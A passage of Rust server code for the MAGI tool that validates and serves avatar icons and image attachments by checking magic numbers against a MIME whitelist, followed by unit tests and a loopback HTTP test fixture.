9984            atomic_icon_write(&path, "builtin")?;
9985        } else {
9986            match std::fs::remove_file(path) {
9987                Ok(()) => (),
9988                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9989                Err(e) => return Err(anyhow::Error::from(e).into()),
9990            }
9991        }
9992        Ok(Json(serde_json::json!({"saved":true})))
9993    })
9994    .await
9995}
9996
9997// The global MAGI icon is deliberately independent of repository configuration.
9998fn magi_icon_path(home: &FsPath) -> PathBuf {
9999    home.join("magi-icon.data")
10000}
10001
10002fn read_magi_icon(home: &FsPath) -> Option<String> {
10003    read_icon_file(&magi_icon_path(home))
10004}
10005
10006fn read_icon_file(path: &FsPath) -> Option<String> {
10007    let metadata = std::fs::metadata(path).ok()?;
10008    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10009        return None;
10010    }
10011    let file = std::fs::File::open(path).ok()?;
10012    use std::io::Read;
10013    let mut text = String::new();
10014    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10015        .read_to_string(&mut text)
10016        .ok()?;
10017    if text.len() > persona_icon::ICON_MAX_BYTES {
10018        return None;
10019    }
10020    if text == "builtin" {
10021        return Some(text);
10022    }
10023    validate_uploaded_icon(&text).ok()?;
10024    Some(text)
10025}
10026
10027fn magi_icon_url(home: &FsPath) -> String {
10028    format!(
10029        "/avatars/magi?v={}",
10030        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10031    )
10032}
10033
10034async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10035    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10036}
10037
10038#[derive(Deserialize)]
10039struct MagiIconUpload {
10040    icon: String,
10041}
10042
10043fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10044    save_icon_file(&magi_icon_path(home), icon)
10045}
10046
10047fn validate_uploaded_icon(icon: &str) -> Result<()> {
10048    if !icon.starts_with("data:") {
10049        anyhow::bail!("upload a raster image");
10050    }
10051    let (mime, bytes) = persona_icon::load(icon)?;
10052    if sniffed_mime(&bytes) != Some(mime) {
10053        anyhow::bail!("image content does not match its type");
10054    }
10055    Ok(())
10056}
10057
10058fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10059    validate_uploaded_icon(icon)?;
10060    atomic_icon_write(path, icon)
10061}
10062
10063fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10064    let home = path.parent().expect("icon parent");
10065    std::fs::create_dir_all(home)?;
10066    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10067    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10068    let result = (|| -> Result<()> {
10069        use std::io::Write;
10070        let mut file = std::fs::OpenOptions::new()
10071            .write(true)
10072            .create_new(true)
10073            .open(&temp)?;
10074        file.write_all(icon.as_bytes())?;
10075        file.sync_all()?;
10076        std::fs::rename(&temp, path)?;
10077        Ok(())
10078    })();
10079    let _ = std::fs::remove_file(temp);
10080    result?;
10081    Ok(())
10082}
10083
10084async fn magi_icon_put(
10085    State(ui): State<Arc<Ui>>,
10086    Json(upload): Json<MagiIconUpload>,
10087) -> ApiResult<Json<serde_json::Value>> {
10088    blocking(move || {
10089        if !upload.icon.starts_with("data:") {
10090            return Err(ApiError::bad_request("upload a raster image"));
10091        }
10092        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10093        if sniffed_mime(&bytes) != Some(mime) {
10094            return Err(ApiError::bad_request(
10095                "image content does not match its type",
10096            ));
10097        }
10098        save_magi_icon(&ui.home, &upload.icon)?;
10099        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10100    })
10101    .await
10102}
10103
10104async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10105    blocking(move || {
10106        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10107            Ok(()) => (),
10108            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10109            Err(e) => return Err(anyhow::Error::from(e).into()),
10110        }
10111        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10112    })
10113    .await
10114}
10115
10116async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10117    let icon = (q.builtin.is_none())
10118        .then(|| read_magi_icon(&ui.home))
10119        .flatten();
10120    let mut response = match icon
10121        .as_deref()
10122        .and_then(|icon| persona_icon::load(icon).ok())
10123    {
10124        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10125            attachment_response(mime, bytes)
10126        }
10127        _ => svg_avatar(persona_icon::magi_svg()),
10128    };
10129    response
10130        .headers_mut()
10131        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10132    response
10133}
10134
10135/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10136/// operator's raster `icon` when it resolves and its bytes agree with its
10137/// type, the built-in SVG otherwise. Display only; every failure is a warning
10138/// and the built-in avatar, never an error response.
10139async fn talk_avatar(
10140    State(ui): State<Arc<Ui>>,
10141    Path(id): Path<String>,
10142    Query(q): Query<AvatarQuery>,
10143) -> ApiResult<Response> {
10144    blocking(move || {
10145        let id = resolve_talk(&ui.talks, &id)?;
10146        let talk = ui.talks.get(&id)?;
10147        let wanted = q
10148            .persona
10149            .as_deref()
10150            .map(str::trim)
10151            .filter(|p| !p.is_empty())
10152            .unwrap_or(&talk.persona)
10153            .to_owned();
10154        let specs = match Config::discover(&talk.repo, None) {
10155            Ok((cfg, _)) => cfg.talk.personas,
10156            Err(e) => {
10157                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10158                Vec::new()
10159            }
10160        };
10161        let found = persona::find(&specs, &wanted);
10162        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10163        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10164        let icon = effective_persona_icon(
10165            &ui.home,
10166            &wanted,
10167            found.as_ref().and_then(|p| p.icon.as_deref()),
10168        );
10169        if found.is_none() && icon.is_none() {
10170            return Ok(builtin_avatar(persona::DEFAULT_ID));
10171        }
10172        let Some(icon) = icon
10173            .as_deref()
10174            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10175        else {
10176            return Ok(builtin_avatar(&wanted));
10177        };
10178        let Some(found) = found else {
10179            return Ok(raster_or_builtin(
10180                Some(icon),
10181                persona_icon::builtin_svg(&wanted),
10182            ));
10183        };
10184        match persona_icon::load(icon) {
10185            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10186                let mut res = attachment_response(mime, bytes);
10187                res.headers_mut().insert(
10188                    header::CACHE_CONTROL,
10189                    header::HeaderValue::from_static("no-cache"),
10190                );
10191                Ok(res)
10192            }
10193            Ok((mime, _)) => {
10194                tracing::warn!(
10195                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10196                    found.id
10197                );
10198                Ok(builtin_avatar(&found.id))
10199            }
10200            Err(e) => {
10201                tracing::warn!(
10202                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10203                    found.id
10204                );
10205                Ok(builtin_avatar(&found.id))
10206            }
10207        }
10208    })
10209    .await
10210}
10211
10212/// Validate an attachment upload's declared `Content-Type` and the bytes
10213/// themselves, returning the canonical mime on success.
10214///
10215/// Two checks, both required: the header has to name one of
10216/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10217/// simply never in the list, active content rather than a picture, the same
10218/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10219/// magic number has to agree. The second is what stops a mislabeled upload -
10220/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10221/// a declared type is a claim, not a fact, so it is never trusted alone.
10222fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10223    if data.len() > ATTACHMENT_MAX_BYTES {
10224        return Err(ApiError::bad_request(format!(
10225            "attachment is {} bytes, over the {} MiB limit",
10226            data.len(),
10227            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10228        ))
10229        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10230    }
10231    if data.is_empty() {
10232        return Err(ApiError::bad_request("attachment is empty"));
10233    }
10234    let declared = declared_mime(headers)?;
10235    match sniffed_mime(data) {
10236        Some(sniffed) if sniffed == declared => Ok(declared),
10237        Some(sniffed) => Err(ApiError::bad_request(format!(
10238            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10239        ))),
10240        None => Err(ApiError::bad_request(
10241            "the file's bytes do not match any accepted image format",
10242        )),
10243    }
10244}
10245
10246/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10247/// and nothing else - parameters like `; charset=` are stripped, but the
10248/// value itself is not otherwise interpreted.
10249fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10250    let raw = headers
10251        .get(header::CONTENT_TYPE)
10252        .and_then(|v| v.to_str().ok())
10253        .unwrap_or("")
10254        .split(';')
10255        .next()
10256        .unwrap_or("")
10257        .trim()
10258        .to_ascii_lowercase();
10259    ATTACHMENT_MIME_WHITELIST
10260        .iter()
10261        .find(|&&m| m == raw)
10262        .copied()
10263        .ok_or_else(|| {
10264            if raw == "image/svg+xml" {
10265                ApiError::bad_request(
10266                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10267                     not just a picture",
10268                )
10269            } else if raw.is_empty() {
10270                ApiError::bad_request("Content-Type is required for an attachment upload")
10271            } else {
10272                ApiError::bad_request(format!(
10273                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10274                     image/gif or image/webp"
10275                ))
10276            }
10277        })
10278}
10279
10280/// Identify an image by its magic number, independent of whatever
10281/// `Content-Type` claimed.
10282fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10283    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10284        Some("image/png")
10285    } else if data.starts_with(b"\xff\xd8\xff") {
10286        Some("image/jpeg")
10287    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10288        Some("image/gif")
10289    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10290        Some("image/webp")
10291    } else {
10292        None
10293    }
10294}
10295
10296/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10297/// display - see [`talk::Attachment::name`]'s doc on why it never
10298/// contributes to a path. A missing or blank header (curl without it, an
10299/// older front end) falls back to a generic name rather than refusing the
10300/// upload over a field that is cosmetic.
10301fn filename_header(headers: &HeaderMap) -> String {
10302    headers
10303        .get(FILENAME_HEADER)
10304        .and_then(|v| v.to_str().ok())
10305        .map(str::trim)
10306        .filter(|s| !s.is_empty())
10307        .unwrap_or("attachment")
10308        .to_owned()
10309}
10310
10311/// Every attachment `GET` response: the mime re-validated against the same
10312/// closed whitelist the upload route enforces - never the string trusted
10313/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10314/// cannot decide it knows better than the type we send. Unlike a panel asset
10315/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10316/// document renders inline, not agent-authored HTML in a sandboxed frame.
10317fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10318    let content_type = ATTACHMENT_MIME_WHITELIST
10319        .iter()
10320        .find(|&&m| m == mime)
10321        .copied()
10322        .unwrap_or("application/octet-stream");
10323    (
10324        [
10325            (header::CONTENT_TYPE, content_type),
10326            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10327        ],
10328        body,
10329    )
10330        .into_response()
10331}
10332
10333/// The configuration for a repository, read off the disk for this request.
10334///
10335/// Through [`blocking`] because discovery reads and merges several TOML files,
10336/// and because the alternative - caching it in [`Ui`] at startup - would mean
10337/// the operator's phone kept interviewing with a roster they had already
10338/// changed, with no way to reload it but restarting the server they are not
10339/// sitting in front of.
10340async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10341    let repo = repo.to_path_buf();
10342    blocking(move || {
10343        let (cfg, _) = Config::discover(&repo, None)?;
10344        Ok(cfg)
10345    })
10346    .await
10347}
10348
10349/// The one prefix rule, used for both runs and tasks: a leading match for a
10350/// full id, a trailing match for the short form an operator reads off a
10351/// report. Written here rather than borrowed from `queue::resolve_id` because
10352/// the UI needs the two failures as different status codes, and telling them
10353/// apart from an error message is not something to build a route on.
10354fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10355    let mut hits = ids
10356        .into_iter()
10357        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10358    match (hits.next(), hits.next()) {
10359        (Some(one), None) => Ok(one),
10360        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10361        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10362            "`{prefix}` matches more than one {what}, including {a} and {b}"
10363        ))),
10364    }
10365}
10366
10367#[cfg(test)]
10368mod tests {
10369
10370    #[test]
10371    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10372        let dir = tempfile::tempdir().unwrap();
10373        let store = ask::Questions::at(dir.path().join("questions"));
10374        let mut q = Question::new(
10375            "task".to_owned(),
10376            "conduct".to_owned(),
10377            "conduct".to_owned(),
10378            "choose".to_owned(),
10379            String::new(),
10380            vec!["keep".to_owned()],
10381        );
10382        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10383        q.say("why?").unwrap();
10384        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10385        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10386        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10387        store.put(&mut q).unwrap();
10388        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10389        assert_eq!(store.count_needs_owner(), 1);
10390        store.beat(&q.id, ask::WaiterKind::Deputy);
10391        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10392        assert_eq!(store.count_needs_owner(), 0);
10393        let mut stale = store.read_lease(&q.id).unwrap();
10394        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10395        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10396        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10397        assert!(view.deputy_exhausted);
10398        assert!(view.waiting_on_agent);
10399        assert_eq!(view.question.choices, ["keep"]);
10400        store.drop_lease(&q.id);
10401        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10402        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10403    }
10404
10405    #[test]
10406    fn holder_reads_the_lease_not_the_record() {
10407        let mut q = Question::new(
10408            "run".to_owned(),
10409            "implement".to_owned(),
10410            "impl-A".to_owned(),
10411            "which?".to_owned(),
10412            String::new(),
10413            Vec::new(),
10414        );
10415        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10416        q.cwd = Some("/tmp".to_owned());
10417        assert_eq!(holder_of(&q, None), Some("nobody"));
10418        let beat = |kind, ago: i64| ask::Lease {
10419            kind,
10420            pid: 1,
10421            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10422                .unwrap(),
10423        };
10424        let fresh = beat(ask::WaiterKind::Asker, 1);
10425        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10426        let daemon = beat(ask::WaiterKind::Daemon, 1);
10427        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10428        let stale = beat(ask::WaiterKind::Asker, 3600);
10429        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10430
10431        // A conductor question says "deputy" only while one is attached and
10432        // alive, and "nobody" - never silence - when nothing ever listened.
10433        let mut c = Question::new(
10434            "task".to_owned(),
10435            crate::conduct::NODE.to_owned(),
10436            "conduct".to_owned(),
10437            "which?".to_owned(),
10438            String::new(),
10439            Vec::new(),
10440        );
10441        assert_eq!(holder_of(&c, None), Some("nobody"));
10442        c.cwd = Some("/tmp".to_owned());
10443        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10444        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10445        let deputy = beat(ask::WaiterKind::Deputy, 1);
10446        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10447        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10448
10449        // A release-watch question: nobody until a deputy is attached.
10450        let mut r = Question::new(
10451            String::new(),
10452            crate::bump::NOTICE_NODE.to_owned(),
10453            "release-watch".to_owned(),
10454            "stuck?".to_owned(),
10455            String::new(),
10456            vec!["hold".to_owned()],
10457        );
10458        assert_eq!(holder_of(&r, None), Some("nobody"));
10459        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10460        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10461        // A choice-less bump notice is nobody's question at all.
10462        r.deputy = None;
10463        r.seat = "bump".to_owned();
10464        assert_eq!(holder_of(&r, None), None);
10465
10466        // A merge approval is the same: nobody until a deputy is attached
10467        // and alive, never a silent "no holder".
10468        let mut m = Question::new(
10469            "run".to_owned(),
10470            crate::land::APPROVAL_NODE.to_owned(),
10471            "land".to_owned(),
10472            "merge?".to_owned(),
10473            String::new(),
10474            Vec::new(),
10475        );
10476        assert_eq!(holder_of(&m, None), Some("nobody"));
10477        assert_eq!(
10478            holder_of(&m, Some(&fresh)),
10479            Some("asker"),
10480            "a live explicit wait is a listener even before a deputy is attached"
10481        );
10482        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10483        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10484        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10485        assert_eq!(holder_of(&m, None), Some("nobody"));
10486    }
10487
10488    fn stub_config() -> Config {
10489        // An explicit roster, so the result never depends on which agent CLIs
10490        // this machine has installed.
10491        Config {
10492            agents: vec![crate::config::AgentSpec {
10493                id: "stub".to_owned(),
10494                kind: AgentKind::Command,
10495                model: None,
10496                command: vec!["true".to_owned()],
10497                extra_args: Vec::new(),
10498                env: Default::default(),
10499                prompt_delivery: None,
10500                max_turn_secs: None,
10501            }],
10502            ..Config::default()
10503        }
10504    }
10505
10506    fn plain_question(seat: &str) -> Question {
10507        Question::new(
10508            String::new(),
10509            "n".to_owned(),
10510            seat.to_owned(),
10511            "s".to_owned(),
10512            String::new(),
10513            Vec::new(),
10514        )
10515    }
10516
10517    #[test]
10518    fn deputies_enabled_follows_the_config() {
10519        let on = stub_config();
10520        assert!(crate::deputy::can_start(Some(&on), ""));
10521        assert!(crate::deputy::can_start(Some(&on), "stub"));
10522        let mut off = on.clone();
10523        off.daemon.max_deputies = 0;
10524        assert!(!crate::deputy::can_start(Some(&off), ""));
10525        let mut empty = on;
10526        empty.agents.clear();
10527        assert!(!crate::deputy::can_start(Some(&empty), ""));
10528        assert!(!crate::deputy::can_start(None, ""));
10529    }
10530
10531    #[test]
10532    fn question_views_load_the_config_once() {
10533        let dir = TempDir::new().unwrap();
10534        let store = ask::Questions::at(dir.path().to_path_buf());
10535        let mut with_deputy = plain_question("b");
10536        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10537        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10538
10539        let calls = std::cell::Cell::new(0usize);
10540        let views = question_views(qs.clone(), &store, || {
10541            calls.set(calls.get() + 1);
10542            Some(stub_config())
10543        });
10544        assert_eq!(calls.get(), 1);
10545        assert_eq!(views.len(), 3);
10546        for (v, q) in views.iter().zip(&qs) {
10547            assert_eq!(
10548                v.deputies_enabled,
10549                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10550            );
10551        }
10552
10553        let views = question_views(qs, &store, || None);
10554        assert!(views.iter().all(|v| !v.deputies_enabled));
10555
10556        let calls = std::cell::Cell::new(0usize);
10557        let views = question_views(Vec::new(), &store, || {
10558            calls.set(calls.get() + 1);
10559            None
10560        });
10561        assert!(views.is_empty());
10562        assert_eq!(calls.get(), 0);
10563    }
10564
10565    use pretty_assertions::assert_eq;
10566    use serde_json::Value;
10567    use tempfile::TempDir;
10568    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10569
10570    use super::*;
10571    use crate::config::Config;
10572    use crate::queue::Source;
10573
10574    /// How many 10ms steps a settle loop takes before it calls a stall a
10575    /// stall - thirty seconds.
10576    ///
10577    /// These loops wait on real `sh` subprocesses, and the machine that runs
10578    /// the gate runs several suites at once, so a two-second budget was not
10579    /// waiting for the reply, it was racing the scheduler: two of these
10580    /// tests failed under that load with the turn simply not landed yet.
10581    /// This is a hang guard, not a latency assertion - every loop breaks the
10582    /// moment its condition holds, so a generous cap costs an idle machine
10583    /// nothing and still fails a genuine hang instead of hanging the suite.
10584    const SETTLE_STEPS: usize = 3_000;
10585
10586    /// A home with a queue and a runs directory, and a router serving it on
10587    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10588    /// dependency, not ours - so the tests drive a real socket, which has the
10589    /// side benefit of asserting the status line and content types the phone
10590    /// actually receives.
10591    struct Fixture {
10592        home: TempDir,
10593        addr: SocketAddr,
10594    }
10595
10596    impl Fixture {
10597        async fn start() -> Self {
10598            Self::with_loop(launch_idle).await
10599        }
10600
10601        /// A fixture whose loop is `launch`.
10602        async fn with_loop(launch: Launch) -> Self {
10603            let home = TempDir::new().expect("temp home");
10604            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10605            Self { home, addr }
10606        }
10607
10608        /// A fixture whose `ui.repo` is a real directory rather than the
10609        /// usual placeholder - for the routes that read config off it
10610        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10611        async fn with_repo(repo: PathBuf) -> Self {
10612            let home = TempDir::new().expect("temp home");
10613            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10614            Self { home, addr }
10615        }
10616
10617        /// As [`Fixture::with_repo`], with the machine-config file the
10618        /// settings screen reads and writes.
10619        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10620            let home = TempDir::new().expect("temp home");
10621            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10622            Self { home, addr }
10623        }
10624
10625        async fn serve(
10626            home: &FsPath,
10627            repo: PathBuf,
10628            launch: Launch,
10629            machine: Option<PathBuf>,
10630        ) -> SocketAddr {
10631            let queue = Queue::at(home.join("queue"));
10632            let runs = home.join("runs");
10633            std::fs::create_dir_all(&runs).expect("runs dir");
10634            let worktrees = home.join("wt").join("magi");
10635            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10636            let ui = Ui::new(
10637                queue,
10638                Questions::at(home.join("questions")),
10639                Talks::at(home.join("talks")),
10640                runs,
10641                home.to_path_buf(),
10642                repo,
10643            )
10644            .with_worktrees_root(worktrees)
10645            .with_machine_config(machine)
10646            .with_launch(launch);
10647            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10648                .await
10649                .expect("bind loopback");
10650            let addr = listener.local_addr().expect("local addr");
10651            tokio::spawn(async move {
10652                let router = ui
10653                    .router()
10654                    .layer(axum::middleware::from_fn(request_cost::observe));
10655                let _ = axum::serve(listener, router).await;
10656            });
10657            addr
10658        }
10659
10660        fn queue(&self) -> Queue {
10661            Queue::at(self.home.path().join("queue"))
10662        }
10663
10664        fn questions(&self) -> Questions {
10665            Questions::at(self.home.path().join("questions"))
10666        }
10667
10668        fn talks(&self) -> Talks {
10669            Talks::at(self.home.path().join("talks"))
10670        }
10671
10672        fn runs(&self) -> PathBuf {
10673            self.home.path().join("runs")
10674        }
10675
10676        async fn get(&self, path: &str) -> Res {
10677            request(self.addr, "GET", path, None).await
10678        }
10679
10680        /// The status and headers without the body, which is how the front end
10681        /// preflights a panel: a sandboxed frame is opaque to the parent
10682        /// document, so the only way to tell "no panel" from "a panel that
10683        /// rendered blank" is to ask before mounting.
10684        async fn head(&self, path: &str) -> Res {
10685            request(self.addr, "HEAD", path, None).await
10686        }
10687
10688        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10689            request(self.addr, "POST", path, body).await
10690        }
10691
10692        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10693            request_with(self.addr, "GET", path, None, extra).await
10694        }
10695
10696        async fn delete(&self, path: &str) -> Res {
10697            request(self.addr, "DELETE", path, None).await
10698        }
10699
10700        async fn put(&self, path: &str, body: &str) -> Res {
10701            request(self.addr, "PUT", path, Some(body)).await
10702        }
10703
10704        /// `POST` a raw body with its own headers - see [`request_bytes`].
10705        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10706            request_bytes(self.addr, path, headers, body).await
10707        }
10708    }
10709
10710    /// Real tracking refs exercise the successful discovery path (including
10711    /// extraction), rather than counting cheap failures on a placeholder repo.
10712    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10713        let tmp = TempDir::new().unwrap();
10714        let mut repos = Vec::new();
10715        for name in ["one", "two"] {
10716            let repo = tmp.path().join(name);
10717            let origin = tmp.path().join(format!("{name}.git"));
10718            std::fs::create_dir_all(&repo).unwrap();
10719            crate::git::git(&repo, &["init", "-b", "main"])
10720                .await
10721                .unwrap();
10722            std::fs::write(
10723                repo.join("magi.toml"),
10724                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10725            )
10726            .unwrap();
10727            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10728            crate::git::git(
10729                &repo,
10730                &[
10731                    "-c",
10732                    "user.name=fixture",
10733                    "-c",
10734                    "user.email=fixture@example.invalid",
10735                    "commit",
10736                    "-m",
10737                    "fixture",
10738                ],
10739            )
10740            .await
10741            .unwrap();
10742            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10743                .await
10744                .unwrap();
10745            crate::git::git(
10746                &repo,
10747                &["remote", "add", "origin", origin.to_str().unwrap()],
10748            )
10749            .await
10750            .unwrap();
10751            crate::git::git(&repo, &["push", "origin", "main"])
10752                .await
10753                .unwrap();
10754            crate::git::git(
10755                &repo,
10756                &[
10757                    "symbolic-ref",
10758                    "refs/remotes/origin/HEAD",
10759                    "refs/remotes/origin/main",
10760                ],
10761            )
10762            .await
10763            .unwrap();
10764            let (cfg, _) = Config::discover(&repo, None).unwrap();
10765            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10766            repos.push(repo);
10767        }
10768        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10769        (tmp, repos)
10770    }
10771
10772    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10773        let (tmp, repos) = performance_repositories().await;
10774        let machine = tmp.path().join("machine.toml");
10775        std::fs::write(&machine, "").unwrap();
10776        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10777        (tmp, repos, fx)
10778    }
10779
10780    fn seed_performance(
10781        fx: &Fixture,
10782        repos: &[PathBuf; 2],
10783        questions: usize,
10784        runs: usize,
10785        items: usize,
10786    ) {
10787        // Saving states directly never starts a run or changes MAGI_HOME.
10788        for i in fx.questions().list().len()..questions {
10789            let mut question = Question::new(
10790                "20261001-000000-0000".into(),
10791                "implement".into(),
10792                "impl-A".into(),
10793                format!("question {i}"),
10794                "context".into(),
10795                vec!["yes".into(), "no".into()],
10796            );
10797            question.id = format!("20261003-000000-{i:04x}");
10798            fx.questions().put(&mut question).unwrap();
10799        }
10800        for i in run_ids(&fx.runs()).len()..runs {
10801            write_run_repo(
10802                &fx.runs(),
10803                &format!("20261001-000000-{i:04x}"),
10804                RunStatus::Ready,
10805                repos[i % 2].to_str().unwrap(),
10806            );
10807        }
10808        for i in fx.talks().list().len()..items {
10809            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10810            let mut talk = fx.talks().get(&id).unwrap();
10811            talk.repo = repos[i % 2].clone();
10812            fx.talks().put(&mut talk).unwrap();
10813            let mut task = crate::queue::Task::new(
10814                format!("task {i}"),
10815                "instruction".into(),
10816                repos[i % 2].clone(),
10817                crate::queue::Source::Agent {
10818                    run: id,
10819                    node: crate::queue::CHAT_NODE.into(),
10820                },
10821            );
10822            task.id = format!("20261004-000000-{i:04x}");
10823            fx.queue().put(&mut task).unwrap();
10824            // Notices has a production retention cap; seed up to that cap.
10825            if i < crate::notices::CAP {
10826                Notices::at(fx.home.path().join("notifications"))
10827                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10828                    .unwrap();
10829            }
10830        }
10831        assert_eq!(fx.questions().list().len(), questions);
10832        assert_eq!(run_ids(&fx.runs()).len(), runs);
10833        assert_eq!(fx.talks().list().len(), items);
10834        assert_eq!(fx.queue().list().len(), items);
10835        assert_eq!(
10836            Notices::at(fx.home.path().join("notifications"))
10837                .list()
10838                .len(),
10839            items.min(crate::notices::CAP)
10840        );
10841    }
10842
10843    fn request_counts(res: &Res) -> (usize, usize) {
10844        assert_eq!(res.status, 200, "{}", res.body);
10845        (
10846            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10847            res.header("x-test-git").unwrap().parse().unwrap(),
10848        )
10849    }
10850
10851    #[tokio::test]
10852    async fn list_request_cost_is_independent_of_record_count() {
10853        let (_tmp, repos, fx) = performance_fixture().await;
10854        let mut previous = None;
10855        for n in [4, 60] {
10856            seed_performance(&fx, &repos, n, n, n);
10857            let mut costs = Vec::new();
10858            for (path, discoveries) in [
10859                ("/api/questions", 1),
10860                ("/api/talks", 2),
10861                ("/api/health", 1),
10862                ("/api/stats", 1),
10863            ] {
10864                // Equal cold extraction caches at both scales; this also
10865                // bounds first-request cost instead of only warmed requests.
10866                for repo in &repos {
10867                    let cache = repo.join(".git/magi/config");
10868                    if cache.exists() {
